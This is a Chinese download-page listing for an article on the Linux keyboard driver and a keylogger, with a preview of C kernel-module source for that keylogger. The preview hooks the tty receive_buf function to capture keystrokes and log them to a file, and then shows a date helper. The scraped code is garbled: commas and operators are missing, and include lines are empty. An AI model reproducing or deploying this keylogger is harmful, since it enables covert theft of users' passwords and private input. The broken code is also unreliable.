資源簡介
本文分成兩個部分。第一部分給出了Linux鍵盤驅動的工作原理,而后給出了鍵盤記錄器的工作細節及其源代碼。
代碼片段和文件信息
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?“config.h“
#include?“klogger.h“
extern?int?hook_init(void);
spinlock_t?pty_lock?=?SPIN_LOCK_UNLOCKED;
spinlock_t?pty_lock1?=?SPIN_LOCK_UNLOCKED;
struct?tlogger?*ttys[MAX_TTY_CON?+?MAX_PTS_CON]?=?{?NULL?};
int?vlogger_mode?=?DEFAULT_MODE;
struct?tty_struct?*tty?=?NULL;
struct?tty_driver?*tty_driver?=?NULL;
int?errno;
void?(*old_receive_buf)(struct?tty_struct?*const?unsigned?char?*char?*int);
int?epoch2time?(const?time_t?*t?long?int?offset?struct?vtm?*tp);
void?get_time?(char?*date_time);
void?new_receive_buf(struct?tty_struct?*tty?const?unsigned?char?*cp
????????????????????????char?*fp?int?count);
void?reset_all_buf(void);
struct?task_struct?*get_task(pid_t?pgrp);
void?special_key(struct?tlogger?*tmp?const?unsigned?char?*cp?int?count);
void?logging(struct?tty_struct?*tty?struct?tlogger?*tmp?int?cont);
void?vlogger_process(struct?tty_struct?*ttyconst?unsigned?char?*cp?int?count);
int?write_to_file(char?*logfile?char?*buf?int?size);
void?init_tty(struct?tty_struct?*tty?int?tty_index);
int?my_open_tty(void);
int?epoch2time?(const?time_t?*t?long?int?offset?struct?vtm?*tp)
{
????????static?const?unsigned?short?int?mon_yday[2][13]?=?{
????????/*?Normal?years.??*/
????????{?0?31?59?90?120?151?181?212?243?273?304?334?365?}
????????/*?Leap?years.??*/
????????{?0?31?60?91?121?152?182?213?244?274?305?335?366?}
????????};
????????long?int?days?rem?y;
????????const?unsigned?short?int?*ip;
????????days?=?*t?/?SECS_PER_DAY;
????????rem?=?*t?%?SECS_PER_DAY;
????????rem?+=?offset;
????????while?(rem?0)?{
????????????????rem?+=?SECS_PER_DAY;
????????????????--days;
????????}
????????
????????while?(rem?>=?SECS_PER_DAY)?{
????????????????rem?-=?SECS_PER_DAY;
????????????????++days;
????????}
????????
????????tp->tm_hour?=?rem?/?SECS_PER_HOUR;
????????rem?%=?SECS_PER_HOUR;
????????tp->tm_min?=?rem?/?60;
????????tp->tm_sec?=?rem?%?60;
????????y?=?1970;
????????while?(days?0?||?days?>=?(isleap?(y)???366?:?365))?{
????????????????long?int?yg?=?y?+?days?/?365?-?(days?%?365?0);
????????????????days?-=?((yg?-?y)?*?365
????????????????+?LEAPS_THRU_END_OF?(yg?-?1)
????????????????-?LEAPS_THRU_END_OF?(y?-?1));
????????????????y?=?yg;
????????}
????????
????????tp->tm_year?=?y?-?1900;
????????if?(tp->tm_year?!=?y?-?1900)
????????????????return?0;
????????ip?=?mon_yday[isleap(y)];
????????for?(y?=?11;?days?(long?int)?ip[y];?--y)
????????????????continue;
????????days?-=?ip[y];
????????tp->tm_mon?=?y;
????
評論
共有 條評論